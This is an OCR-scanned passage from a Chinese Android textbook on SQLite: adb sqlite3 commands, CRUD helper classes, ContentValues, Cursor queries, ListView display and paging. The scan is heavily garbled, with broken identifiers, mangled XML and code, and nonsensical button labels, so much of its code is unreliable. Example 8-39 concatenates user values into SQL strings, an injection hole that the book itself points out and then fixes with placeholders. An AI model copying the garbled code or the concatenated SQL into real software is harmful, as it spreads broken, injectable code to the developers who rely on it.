(4) 输入 sqlite3 mldn.db 命令 ， 进 入 sqlite 数据 库 。 命 令 行 效果 如 图 8-29 所 示 。 


C\WINDOWS\system32\cmd.exe - adb shell 
sqlite3 nldn.db 

kaqlite3 nldn.db 

SQLite version 3.6.22 


ter ".help" for instructions 

ter SQL statenents terninated with a ";" 
qlite> 
4 


图 8-28” 列 出 databases 下 的 文件 图 8-29 进入 到 sqlite 界面 


(5) 输入 .schema 命令 ,查询 数据 库 中 的 数据 表 。 此 时 ,可 以 直接 将 mldn.db 数据 库 中 的 数 
据 表 进 行列 出 ， 运 行 结果 如 图 8-30 所 示 。 
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eT] 


图 8-30 查询 全 部 数据 表 


在 mldn.db 数据 库 中 有 一 个 自动 生成 的 android metadata 数据 表 ， 用 于 保存 一 些 与 数据 表 有 
关 的 信息 ， 而 第 二 个 mytab 表 就 是 用 户 在 之 前 程序 中 所 创建 的 数据 表 。 
光 提 示 

SQLite 操作 与 一 般 的 SQL 操作 一 样 。 

进入 SQLite 数据 库 之 后 ， 可 以 使 用 各 种 SQL 语句 进行 数据 的 CRUD 操作 。 
(1) 向 mytab 表 中 插入 一 条 新 数据 ， 语 句 如 下 : 

INSERT INTO mytab (name,birthday) VALUES (李兴华 "1978-09-19) ; 
(2 ) 数据 插入 完成 之 后 ， 下 面 执行 查询 mytab 表 的 命令 : 

SELECT id,name,birthday FROM mytab ; 

查询 的 返回 结果 如 图 8-31 所 示 。 
(3) 更 新 ID 为 1] 的 数据 信息 : 

UPDATE mytab SET birthday='1989-09-27' WHERE id=1 ; 

更 新 完成 之 后 ， 继 续 输入 之 前 的 查询 命令 ， 则 查询 结果 如 图 8-32 所 示 。 


oC:\WINDOWS\system32\cmd.exe adb she =l9lx| 


hh! 李兴华 1:1978-89-19 
qlite> 
1 


! 李 兴 华 1:1989-89-27 
4 


图 8-31 查询 mytab 表 图 8-32 更 新 后 的 mytab 表 信息 
(4) 删除 ID 为 1 的 数据 信息 : 
DELETE FROM mytab WHERE id=1 ; 
这 些 基 本 的 操作 与 各 个 数据 库 操作 是 一 样 的 ， 如 果 对 以 上 SQL 语法 不 熟悉 ， 可 以 参考 
《名 师 讲 坛 一 一 Oracle 开发 实战 经 典 》 一 书 。 


当 数 据 表 创建 完成 之 后 ， 可 以 继续 编写 程序 ， 完 成 数据 的 增加 、 修 改 、 删 除 等 操作 ， 本 程 
序 为 了 方便 开发 ， 将 继续 使 用 MyDatabaseHelper 类 的 功能 。 
【 例 8-39】 定义 mytab 表 的 操作 类 一 一 MytabOperatejava， 加 入 数据 库 的 更 新 操作 方法 
package org.Ixh.demo; 
import android.database.sqlite.SQLiteDatabase; 
public class MytabOperate { 


private static final String TABLENAME = "mytab" ; // 表 名 称 

private SQLiteDatabase db = null ; l/SQLiteDatabase 

public MytabOperate(SQLiteDatabase db) { /构造 方法 
this.db = db ; 


public void insert(String name, String birthday) { 
String sql = "INSERT INTO "+ TABLENAME + " (name,birthday) VALUES (" 
+name + "," + birthday + ™)"; JWSQL 语句 
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this.db.execSQL(sql); 
this.db.close() ; 


/执行 SQL 语句 
// 关 闭 数据 库 操作 


public void update(int id, String name, String birthday) { 
String sql = "UPDATE "+ TABLENAME + " SET name=" + name 


+ ",birthday=" + birthday + ”WHERE id=" + id; 


this.db.execSQL(sql); 
this.db.close() ; 


} 
public void delete(int id) { 


String sql = "DELETE FROM "+ TABLENAME + " WHERE id=" + id;//SQL 语句 
/执行 SQL 语句 
// 关 闭 数据 库 操作 


this.db.execSQL(sql) ; 
this.db.close() ; 
4 


} 

本 程序 直接 在 类 中 定义 了 3 个 数据 库 的 更 新 方法 (insert()、update() 和 delete0) ， 并 且 利 
参数 传递 了 要 增加 、 修 改 或 删除 的 数据 ， 由 于 现在 更 新 方法 属于 数据 库 的 修改 操作 ， 所 以 当 
户 调用 这 3 个 方法 时 ， 必 须 使 用 getWritableDatabase() 方 法 取得 SQLiteDatabase 类 可 以 更 新 的 


/SQL 语句 
/执行 SQL 语句 
// 关 闭 数据 库 操作 


器 酒 玉 


作对 象 ， 下 面 通过 Activity 程序 分 别 定义 3 个 按钮 ， 并 且 在 单 击 事件 中 指定 不 同 的 更 新 操作 。 


【 例 8-40】 定义 布局 管理 器 文件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


main.xml 


// 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<Button 
android:id="@+id/insertBut”" 
android:layout_width="fill_parent”" 


android:layout_height="wrap_content” 


android:text=" 态 加 绕 拇 '/> 
<Button 

android:id="@+id/updateBut" 

android:layout_width="fill_parent” 


android:layout_height="wrap_content” 


android:text=" 修 成 阁 气 "/> 
<Button 
android:id="@+id/deleteBut” 


android:layout_width="fill_parent”" 
android:layout_height="wrap_content” 


android:text=" 态 说 闪 阁 "|/> 


</LinearLayout> 


/所 有 组 件 垂 直 摆 放 


// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 


// 按 钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 组 件 默认 显示 文字 
/按钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 
// 组 件 默 认 显示 文字 
/按钮 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
/组 件 高 度 为 文字 高 度 
// 组 件 默 认 显 示 文 字 


在 程序 的 布局 管理 器 中 ， 分 别 定义 了 3 个 按钮 ， 以 表示 不 同 的 操作 ， 而 这 3 个 按钮 将 分 别 


调用 insert0、update0 和 delete() 3 个 方法 。 


【 例 8-41】 定义 Activity 程序 ， 完 成 数据 操作 


package org.Ixh.demo; 
import android.app.Activity; 
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import android.database.sqlite. SQLiteOpenHelper; 
import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 


import android.widget.Button; 
public class MySQLiteDemo extends Activity { 
private SQLiteOpenHelper helper = null ; /数据 库 操作 
private MytabOperate mytab = null ; /mytab 表 操 作 类 
private Button insertBut = null ; /定义 按钮 
private Button updateBut = null ; /定义 按钮 
private Button deleteBut = null ; /定义 按钮 
private static int count = 0 ; 1 计数 统计 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); /默认 布局 管理 器 


this.insertBut = (Button) super.findViewByld(R.id.insertBut) ; /取得 组 件 
this.deleteBut = (Button) super.findViewByld(R.id.deleteBut) ; /取得 组 件 
this.updateBut = (Button) super.findViewByld(R.id.updateBut) ; /取得 组 件 
this.helper = new MyDatabaseHelper(this) ; // 定 义 数 据 库 辅助 类 
this.insertBut.setOnClickListener(new InsertOnClickListenerlmpl()) ; // 设 置 监 听 
this.deleteBut.setOnClickListener(new DeleteOnClickListenerlmpl()) ; /设置 监听 
this.updateBut.setOnClickListener(new UpdateOnClickListenerlmpl()) /设置 监听 
} 
private class InsertOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MySQLiteDemo.this.mtab = new MytabOperate( 
MySQLiteDemo.this.helper.getWritableDatabase()); // 取 得 可 更 新 的 数据 库 
MySQLiteDemo.this.mtab.insert(" 李 兴 华 " + count ++ , "1979-08-12") ;// 增 加 数据 


} 
} 


private class DeleteOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MySQLiteDemo.this.mtab = new MytabOperate( 
MySQLiteDemo.this.helper.getWritableDatabase()); // 取 得 可 更 新 的 数据 库 
MySQLiteDemo.this.mtab.delete(3) ; /删除 数据 
} 
} 


private class UpdateOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
MySQLiteDemo.this.mtab = new MytabOperate( 
MySQLiteDemo.this.helper.getWritableDatabase()); /取得 可 更 新 的 数据 库 
MySQLiteDemo.this.mtab.update(1, "MLDN", "1981-06-27") ; // 更 新 已 有 数据 


} 


} 
本 程序 为 了 简化 操作 ， 所 有 的 数据 将 不 采用 用 户 自 己 输入 的 形式 ， 当 增加 新 数据 时 ， 将 采 
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~ 


-个 static 的 整 型 变量 进行 计数 的 操作 ， 以 保证 姓名 不 重复 ， 而 更 新 时 ， 只 是 更 新 了 编号 为 1 
的 数据 ;删除 时 ， 删 除 的 是 编号 为 3 的 数据 。 


了 提示 

注意 乱码 问题 。 

由 于 SQLite 数据 库 使 用 UTF-8 编码 ， 所 以 上 面 的 程序 向 数据 库 中 保存 中 文 之 后 ， 如 果 
直接 利用 命令 行 方式 查看 ， 则 会 显示 成 乱码 ， 因 为 命令 行 方式 所 采用 的 编码 为 GBK， 这 一 
点 读者 不 用 担心 ， 因 为 随后 通过 程序 取出 数据 时 将 都 是 正确 的 编码 。 

此 外 ， 如 果 和 希望 知道 SQLite 数据 库 编 码 ， 可 以 直接 输入 PRAGMA encoding: 命 令 查看 。 | 


以 上 代码 虽然 完成 了 基本 的 更 新 功能 ， 但 是 学 习 过 JDBC 的 读者 应 该 都 很 清楚 ， 由 于 本 程 
序 采用 的 是 拼凑 SQL 语句 的 形式 , 因此 代码 存在 SQL 注入 漏洞 以 及 无 法 处 理 一 些 敏感 字符 的 问 
题 ， 为 了 解决 该 问题 ， 在 开发 中 往往 会 使 用 占 位 符 的 形式 完成 ， 如 下 代码 所 示 。 
【 例 8-42】 修改 MytabOperate 类 ， 使 用 占 位 符 的 方式 完成 操作 
package org.Ixh.demo; 
import android.database.sqlite.SQLiteDatabase; 
public class MytabOperate { 


private static final String TABLENAME = "mytab" ; // 表 名 称 

private SQLiteDatabase db = null ; /l/SQLiteDatabase 

public MytabOperate(SQLiteDatabase db) { // 构 造 方法 
this.db = db ; 

} 


public void insert(String name, String birthday) { 
String sql = "INSERT INTO " + TABLENAME 


+ " (name,birthday) VALUES (?,2)": //SQL 语句 
Object args[] = new Object[] { name, birthday }; // 设 置 参数 
this.db.execSQL(sql, args); /! 执 行 SQL 语句 
this.db.close() ; // 关 闭 数据 库 操作 


} 
public void update(int id, String name, String birthday) { 
String sql = "UPDATE "+ TABLENAME 


+"SET name=?,birthday=? WHERE id=?"; /SQL 语句 
Object args[] = new Object[l { name, birthday, id }; /设置 参数 
this.db.execSQL(sql, args); /执行 SQL 语句 
this.db.close() ; /关闭 数据 库 操作 


public void delete(int id) { 
String sql = "DELETE FROM " + TABLENAME + " WHERE id=?"; /SQL 语句 


Object args[] = new Object { id }; /设置 参数 
this.db.execSQL(sql, args); /执行 SQL 语句 
this.db.close() ; // 关 闭 数据 库 操作 


} 


} 

本 程序 与 例 8-39 的 程序 相 比 ， 在 编写 SQL 语句 时 ， 所 有 要 更 新 的 内 容 都 使 用 了 占 位 符 “?” 
表示 , 而 随后 将 具体 更 新 的 数据 保存 在 了 args 对 象 数组 中 , 在 调用 execSQL( 方 法 时 同时 传 入 了 
SQL 和 更 新 的 参数 ， 这 一 点 在 使 用 的 形式 上 与 JDBC 中 的 PreparedStatement 功能 类 似 ， 不 过 却 
更 加 容易 。 
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8.3.4 使 用 ContentValues 封装 数据 


在 之 前 讲解 的 数据 库 操作 中 ， 使 用 了 传统 的 JDBC 方式 ， 所 有 的 CRUD 操作 方法 都 由 用 户 
定义 ， 而 对 于 SQLiteDatabase 类 ， 只 是 用 到 了 getWritableDatabase(0 方 法 以 取得 数据 库 的 
SQLiteDatabase 类 的 对 象 。 

在 SQLiteDatabase 类 中 ， 也 为 用 户 提供 了 insert()、update()、delete()、query0 等 方法 ， 只 是 
在 使 用 这 些 方法 进行 数据 库 操 作 时 ， 所 有 的 数据 必须 使 用 ContentValues 类 进行 封装 。 

android.content.ContentValues 的 功能 与 HashMap 类 的 功能 类 似 ， 都 是 采用 “key=value” 的 
形式 保存 数据 ， 唯 一 不 同 的 是 ， 在 ContentValues 类 中 所 设置 的 key 都 是 String 型 的 数据 ， 而 所 
设置 的 value 都 是 基本 数据 类 型 的 包装 类 (在 JDK 1.5 之 后 采用 自动 装 箱 及 拆 箱 机 制 ， 所 以 基本 
数据 类 型 可 以 直接 存放 ) 。ContentValues 类 定义 的 常用 方法 如 表 8-16 所 示 。 


表 8-16 ”ContentValues 类 的 常用 方法 


No| 方法 | 类 型 | 描 述 
public ContentValues 创建 ContentValues 类 实例 
public void clear 清空 全 部 数据 


1 

2 

3 设置 指定 字段 (key) 数据 , 如 Integer、Double 
4 

5 


public Integer getAs 包装 类 (String key) 根据 key 取得 数据 ,如 getIntegerO0、getDoubleO 


返回 保存 数据 的 个 数 


put() 方 法 可 以 适用 于 各 种 基本 数据 类 型 的 包装 类 , 例如 , 如 果 是 整 型 数据 , 则 使 用 put(String 
key, Integer value)， 而 浮 点 型 则 使 用 put(String key, Double value); 而 getAsXxx() 方 法 也 适合 于 各 
种 基本 数据 类 型 的 包装 类 , 例如，public Integer getAsInteger0) 或 public Double getAsDouble()。 这 
些 方法 可 以 直接 通过 Android 的 DOC 文档 查询 到 ， 因 为 方法 重复 较 多 ， 故 不 重复 列 出 。 

【 例 8-43】 使 用 ContentValues 修改 MytabOperate 类 中 的 方法 

package org.Ixh.demo; 

import android.content.ContentValues; 

import android.database.sqlite.SQLiteDatabase; 

public class MytabOperate { 


private static final String TABLENAME = "mytab" ; // 表 名 称 

private SQLiteDatabase db = null ; l/l/SQLiteDatabase 

public MytabOperate(SQLiteDatabase db) { // 构 造 方法 
this.db = db ; 

有 

public void insert(String name, String birthday) { 
ContentValues cv = new ContentValues() ; /定义 ContentValues 
cv.put("name", name) ; // 设 置 name 字段 内 容 
cv.put("birthday", birthday) ; /设置 birthday 内 容 
this.db.insert( TABLENAME., null, cv) ; /1/ 增 加 操作 
this.db.close() ; 1/ 关闭 数据 库 操作 

} 

public void update(int id, String name, String birthday) { 
String whereClause = "id=?" ; // 更 新 条 件 
String whereArgs[] = new String[] {String.value Of(id)} ; /更 新 ID 
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ContentValues cv = new ContentValues() ; /定义 ContentValues 

cv.put("name", name) ; // 设 置 name 字段 内 容 

cv.put("birthday", birthday) ; /设置 birthday 内 容 

this.db.update(TABLENAME, cv, whereClause, whereArgs) ; // 更 新 操作 

this.db.close() ; /关闭 数据 库 操作 
public void delete(int id) { 

String whereClause = "id=?" ; /删除 条 件 

String whereArgs[] = new String[] {String.value Of(id)} ; /删除 ID 

this.db.delete(TABLENAME, whereClause, whereArgs) ; /删除 操作 

this.db.close() ; /关闭 数据 库 操作 


} 

} 

本 程序 只 是 针对 于 insert0、update0 和 delete0 3 个 方法 进行 了 修改 , 所 有 的 操作 都 直接 采用 
SQLiteDatabase 类 提供 的 数据 库 更 新 方法 进行 处 理 ， 所 有 的 内 容 直 接 使 用 ContentValues 对 象 进 
行 封装 。 

数据 库 的 更 新 操作 本 身 是 一 个 很 固定 的 代码 ， 在 开发 中 也 是 按照 如 上 程序 所 编写 的 形式 进 
行 的 ， 并 且 在 更 新 、 删 除 时 ， 也 分 别 像 使 用 PreparedStatement 那样 采用 占 位 符 “?” 的 形式 操作 。 


SA 


提问 : 开发 时 使 用 何 种 方式 操作 数据 库 ? 

在 使 用 SQLiteDatabase 进行 程序 开发 时 ， 是 使 用 execSQL() 方 法 更 新 数据 ， 还 是 使 用 提 
供 的 insert()、update()、delete() 等 方法 ? 

回答 : 使 用 execSQL0 方 法 进行 更 新 操作 。 

虽然 通过 SQLiteDatabase 对 象 可 以 直接 执行 SQL 语句 的 操作 ， 但 是 从 实际 的 开发 来 讲 ， 使 
用 ContentValues 更 为 标准 ， 这 样 做 的 最 大 好 处 是 可 以 和 以 后 讲解 的 ContentProvider 关联 ， 但 是 
如 果 现在 用 户 并 不 需要 将 数据 库 操作 发 布 成 ContentProvider， 则 还 是 使 用 SQL 操作 会 更 方便 。 


8.3.5 数据 查询 与 Cursor 接口 


数据 库 的 操作 除了 更 新 之 外 , 还 有 最 复杂 的 数据 的 检索 操作 ， 当 Android 程序 需要 进行 数据 
检索 操作 时 ， 需 要 保存 全 部 的 查询 结果 ， 而 保存 查询 结果 可 以 使 用 android.database.Cursor 接口 
完成 ， 并 且 可 以 完成 对 结果 集 随机 读 写 访问 的 操作 。android.database.Cursor 接口 定义 的 常用 方 
法 如 表 8-17 所 示 。 


表 8-17 Cursor 接口 的 常用 方法 


public abstract void closeO) 普通 关闭 查询 
普通 
省 


回 查 询 的 数据 量 
回 查 询 结果 中 列 的 总 数 
到 查询 结果 中 全 部 列 的 名 称 


丙 


public abstract int getCountO 
public abstract int getColumnCountO 
public abstract String[ |] getColumnNamesO) 


大 | 抽 
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续 表 
No. 方法 描述 
public abstract String getColumnName(int 得 到 指定 索引 位 置 列 的 名 称 
columnIndex) 
6 |public abstract boolean isAfterLastO 判断 结果 集 指 针 是 否 在 最 后 一 行 数据 之 后 
7 |public abstract boolean isBeforeFirstO 判断 结果 集 指 针 是 否 在 第 一 行 记录 之 前 
8_ |public abstract boolean isClosed 判断 结果 集 是 否 已 关闭 
9 |public abstract boolean isFirstO 判断 结果 集 指针 是 否 指 在 第 一 行 
10 |public abstract boolean isLastO 判断 结果 集 指针 是 否 指 在 最 后 一 行 
11 |public abstract boolean moveToFirst(O) 将 结果 集 指针 移动 到 第 一 行 


将 结果 集 指针 移动 到 最 后 一 行 
将 结果 集 指针 向 下 移动 一 行 


12 |public abstract boolean moveToLastO 


|public abstract boolean moveToNextO 


14 |public abstract boolean moveToPrevious 将 结果 集 指针 向 前 移动 一 行 
15 |public abstract boolean requei 更 新 数据 后 刷新 结果 集中 的 内 容 
16 |public abstract int getXxx(int columnIndex 根据 指定 列 的 索引 取得 指定 的 数据 


使 用 过 JDBC 的 读者 应 该 清楚 ， 在 JDBC 的 操作 中 ， 都 会 使 用 ResultSet 接口 保存 全 部 的 查 
询 结果 ， 在 ResultSet 接口 中 ， 如 果 要 取得 的 字段 是 int 型 数据 ， 则 使 用 getInt0 方 法 ;， 如果 取得 
的 字段 是 String 类 型 ， 则 使 用 getString0 方 法 。 而 对 于 Cursor 接口 而 言 ， 操 作 形 式 也 是 一 样 的 ， 
也 提供 了 相应 的 getInt0 或 getString0 等 方法 取得 指定 列 的 内 容 。 

但 是 Cursor 接口 并 不 像 ResultSet 接口 那样 提供 了 next0 方 法 ， 所 以 如 果 要 想 从 前 到 后 依次 取 
得 全 部 数据 行 ， 则 要 使 用 isAfterLast()、 


moveToNext()、moveToFirst() 方 法 ， 并 输出 Cursor 

且 按 照 如 下 步骤 进行 。 
(1) 使 用 moveToFirst0 方 法 将 结果 i Rt 

集 的 指针 放 在 第 一 行 数据 。 一 一 
(2) 使 用 isAfterLast0 方 法 判断 是 


否 还 有 数据 ， 如 果 有 ， 则 进行 取出 。 

(3) 利用 moveToNext0 方 法 将 指针 
向 下 移动 , 并 继续 使 用 isAfterLast() 方 法 
判断 。 

该 操作 步骤 如 图 8-33 所 示 。 
图 8-33 所 示 的 执行 流程 可 以 通过 如 


指针 向 下 移动 


moveToNext() 


图 8-33 ”使 用 Cursor 取出 全 部 查询 结果 
下 的 程序 表示 : 
for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 
循环 体 ; 
} 


下 面 使 用 Cursor 接口 并 结合 SQLiteDatabase 类 完成 数据 的 查询 操作 ， 所 有 的 查询 结果 将 直 
接 通 过 ListView 进行 显示 。 
【 例 8-44】 定义 数据 库 查 询 操 作 类 一 一 MytabCursorjava 
package org.Ixh.demo; 
import java.util.ArrayList; 
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import java.util.List; 

import android.database.Cursor; 

import android.database.sqlite.SQLiteDatabase; 
public class MytabCursor { 


private static final String TABLENAME = "mytab" ; /| 数据 表 名 称 
private SQLiteDatabase db = null ; JSQLiteDatabase 
public MytabCursor(SQLiteDatabase db){ // 构 造 方法 
this.db = db ; /接收 SQLiteDatabase 
D 
public List<String> find() { /查询 数 据 表 
List<String> all = new ArrayList<String>() ; /定义 List 集合 
String sql = "SELECT id,name,birthday FROM " + TABLENAME:; /定义 SQL 
Cursor result = this.db.rawQuery(sql, null) ; // 不 设置 查询 参数 


for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 
all.add(" 【" + result.getInt(0) + "】" + " " + result.getString(1) 
+", "+ result.getString(2)); // 设 置 集合 数据 


te lH // 关 闭 数据 库 连 接 
return all ; 

} 

本 程序 只 是 定义 了 一 个 find() 方 法 ， 此 方法 直接 利用 SQLiteDatabase 类 中 的 rawQuery0 方 法 
查询 ， 由 于 此 时 没有 指定 任何 的 限定 条 件 、 分 组 条 件 等 ， 所 以 只 传递 了 一 个 表 名 称 ， 而 其 他 的 
参数 都 设置 为 null， 另 外 ， 为 了 方便 使 用 列表 显示 〈ListView 组 件 显示 ) 数据 ， 在 find0 方 法 上 
返回 值 类 型 直接 采用 了 List 集合 。 此 外 ， 考 虑 到 界面 显示 的 问题 ， 本 代码 将 数据 表 的 记录 直接 
拼凑 成 了 字符 串 后 才 保存 在 List 集合 中 ,这样 就 可 以 避免 再 单独 定义 一 个 布局 管理 器 显示 列表 。 


8 
了 /提示 
也 可 以 使 用 SQLiteDatabase 类 中 的 query0 方 法 查询 。 
在 SQLiteDatabase 类 中 专门 提供 了 query() 方 法 完成 查询 操作 ， 同 样 的 操作 ， 如 果 使 用 
query() 查 询 ， 则 代码 如 下 : 
public List<String> find() { /| 查询 数据 表 
List<String> all = new ArrayList<String>() ; /定义 List 集合 
String columns[] = new String[] {"id","name","birthday"} ; // 查 询 列 
Cursor result = this.db.query(TABLENAME, columns, null, null, null, 
null, null); // 查 询 数 据 表 
for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 
all.add(" 【" + result.getInt(0) + "】 " + " " + result.getString(1) 


+", "+ [result.getString(2)); // 设 置 集合 数据 
this.db.close() ; // 关 闭 数据 库 连 接 
return all ; 


} 
但 是 ， 这 种 代码 需要 向 query() 方 法 传递 多 个 参数 ， 本 身 并 不 方便 ， 而 使 用 rawQuery() 
| 方法 却 可 以 直接 使 用 SQL 查询 语句 ， 这 才 是 一 种 较为 正确 的 做 法 ， 所 以 在 进行 开发 时 只 需 
要 记 住 rawQuery() 方 法 即 可 。 
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【 例 8-45】 定义 布局 管理 器 ， 显 示 所 有 数据 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android”" 
android:id="@+id/mylayout” // 布 局 管理 器 ID 
android:orientation="vertical” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button /按钮 组 件 

android:id="@+id/findBut” 1/ 组件 ID， 程 序 中 使 用 

android:layout_width="fil_parent”" 1/ 组 件 宽度 为 屏幕 宽度 

android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 

android:text= "过 询 会 郭 数 辉 '/> // 默 认 显 示 文 字 
</LinearLayout> 


【 例 8-46】 定义 Activity 程序 ， 并 显示 所 有 数据 
package org.Ixh.demo; 
import android.app.Activity; 
import android.database.sqlite.SQLiteOpenHelper 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.ArrayAdapter; 
import android.widget.Button; 
import android.widget.LinearLayout; 
import android.widget.ListView'; 
public class MySQLiteDemo extends Activity { 


private SQLiteOpenHelper helper = null ; /数据 库 操作 
private Button findBut = null ; // 定 义 按钮 
private LinearLayout mylayout = null ; // 定 义 布局 管理 器 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.findBut = (Button) super .findViewByld(R.id.findBut) ; // 取 得 组 件 
this.mylayout = (LinearLayout) super.findViewByld(R.id.mylayout) ; /取得 组 件 
this.helper = new MyDatabaseHelper(this) ; // 定 义 数据 库 辅助 类 
this findBut.setOnClickListener(new OnClickListenerImpl()) ; /设置 监听 
private class OnClickListenerImpl implements OnClickListener { 
@Override 


public void onClick(View view) { 
MySQLiteDemo.this.helper = new MyDatabaseHelper(MySQLiteDemo.this) ; 


ListView listView = new ListView(MySQLiteDemo.this) ; /定义 ListView 
listView.setAdapter(new ArrayAdapter<String>(MySQLiteDemo.this, // 将 数据 包装 
android.R.layout.simple_list_item_1, /每 行 显示 一 条 数据 
new MytabCursor(MySQLiteDemo.this.helper 
.getReadableDatabase()).find())); /设置 显示 数据 
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MySQLiteDemo.this.mylayout.addView!listView) ; // 追 加 组 件 


} 
} 
本 程序 直接 利用 MyDatabaseHelper 类 取得 了 一 个 数据 库 的 操作 对 象 ,通过 find() 方 法 查询 出 
全 部 的 数据 ， 并 且 将 全 部 数据 加 入 到 ListView 中 进行 显示 ， 程 序 的 运行 效果 如 图 8-34 所 示 。 


CEERI 


QI 


【1】MLDN，1981-06-27 


【2】 李兴华 1 ，1979-08-12 


【4】 李兴华 3 ，1979-08-12 


【5】 李兴华 4，1979-08-12 
图 8-34 查询 出 全 部 数据 


《ss 注意 
Cursor 接口 中 getXxx0 方 法 的 列 索 引 从 0 开始 。 
在 ResultSet 接口 中 要 想 取得 列 的 内 容 使 用 getXxx() 方 法 ， 所 有 的 索引 下 标 是 从 1 开始 的 ， 
但 是 在 Cursor 操作 接口 中 ， 列 的 下 标 从 0 开始， 如 result.getInt(0)、result.getString(0) 等 。 


本 程序 查询 出 了 mytab 表 中 全 部 的 内 容 , 如 果 现 在 需要 使 用 模糊 查询 , 则 直接 修改 rawQuery0 
方法 的 参数 即 可 。 为 了 方便 读者 理解 ， 下 面 列 出 了 代码 的 片段 


public List<String> find() { /查询 数据 表 
List<String> all = new ArrayList<String>() ; // 定 义 List 集合 
String sql = "SELECT id,name,birthday FROM " + TABLENAME + 

"WHERE name LIKE ? OR birthday LIKE ? "; /定义 SQL 
String keyWord = "3"; // 查 询 关键 字 
String args[] = new String[] { "%" + keyWord + "%", 

"9%" + keyWord + "%" }; // 查 询 参 数 
Cursor result = this.db.rawQuery(sql, args) ; // 设 置 查询 参数 


for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()){ 
all.add(" 【" + result.getlnt(0) + "】" + " " + result.getString(1) 


+", "+ result.getString(2)); // 设 置 集合 数据 
} 
this.db.close() ; // 关 闭 数据 库 连接 
return all ; 


} 

本 程序 直接 编写 SQL 的 查询 语句 ， 查 询 关键 字 设 置 为 数字 “3”， 由 于 本 程序 在 编写 SQL 
语句 时 设置 了 占 位 符 “?”， 所 以 在 使 用 rawQuery( 方 法 进行 查询 时 ， 就 需要 将 所 需 的 参数 以 字 
符 串 数 组 的 形式 进行 设置 ， 程 序 的 运行 效果 如 图 8-35 所 示 。 
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EE 


Te 近 亩 
查询 全 部 数据 


【4】 李兴华 3，1979-08-12 


【9】 李兴华 3，1979-08-12 
图 8-35 ”模糊 查询 
/提示 
也 可 以 使 用 query0 方 法 完成 查询 ， 但 是 不 推荐 使 用 。 
SQLiteDatabase 类 中 的 query(0 方 法 也 可 以 完成 查询 操作 ， 但 是 这 种 操作 较为 复杂 ， 不 建 
议 使 用 。 以 下 给 出 使 用 query() 方 法 实现 模糊 查询 的 代码 。 


public List<String> find() { /| 查询 数据 表 
List<String> all = new ArrayList<String>() ; // 定 义 List 集合 
String keyWord = "3" ; // 查 询 关 键 字 


String selection = "name LIKE ? OR birthday LIKE ?" ; ”// 查 询 条 件 

String selectionArgs[] = new String[] { "%" + keyWord + "%", 
"%" + keyWord + "%" }; // 查 询 参 数 

String columns[] = new String[] {"id","name","birthday"} ; /查询 列 

Cursor result = this.db.query( TABLENAME, columns, selection, selectionArgs, 
null, null, null); // 查 询 

for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 

all.add(" 【" + result.getInt(0) + "】 "+ " " + result.getString(1) 


+", "+ result.getString(2)); // 设 置 集合 数据 
1 
this.db.close() ; // 关 闭 数据 库 连 接 
return all ; 


} 

在 程序 中 ， 共 定义 了 3 个 新 变量 。 

回 selection: 设置 WHERE 的 查询 语句 。 

回 selectionArgs: 设置 所 有 占 位 符 的 套数 内 容 。 
回 columns: 设置 所 要 显示 的 查询 列 。 


在 程序 开发 中 ， 分 页 是 必 不 可 少 的 一 种 操作 ，SQLite 数据 库 和 MySQL 数据 库 一 样 ， 都 直 
接 利用 LIMIT 完成 查询 的 分 页 操作 ， 分 页 查询 的 操作 代码 如 下 。 
【 例 8-47】 分 页 显示 数据 


public List<String> find() { 1/ 查询 数据 表 
List<String> all = new ArrayList<String>() ; // 定 义 List 集合 
int currentPage = 1 ; // 当 前 页 
int lineSize = 5; // 每 页 显示 5 条 
String keyWord = " 李 " ; // 查 询 关 键 字 


String sql = "SELECT id,iname,birthday FROM " + TABLENAME 
+" WHERE (name LIKE ? OR birthday LIKE ?)" 
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a 1 ge // 查 询 SQL 
String selectionArgs[] = new String[] { "%" + keyWord + "%", 

"%" + keyWord + "%", 

String.value Of(currentPage - 1) * lineSize), 

String.valueOf(lineSize) }; // 查 询 参 数 
Cursor result = db.rawQuery(sql, selectionArgs); /查询 
for (result.moveToFirst(); Iresult.isAfterLast(); result.moveToNext()) { 

all.add(" 【" + result.getlnt(0) + "】" + " " + result.getString(1) 
+", "+ result.getString(2)); // 设 置 集合 数据 


} 
this.db.close() ; // 关 闭 数据 库 连接 
return all ; 


} 

本 程序 首先 定义 了 currentPage 和 lineSize 两 个 用 于 进行 分 页 显示 控制 的 变量 ， 随 后 将 这 两 
个 变量 的 内 容 设置 到 了 查询 的 参数 中 。 本 程序 只 是 一 个 代码 的 演示 ， 而 实际 的 开发 代码 ， 要 由 
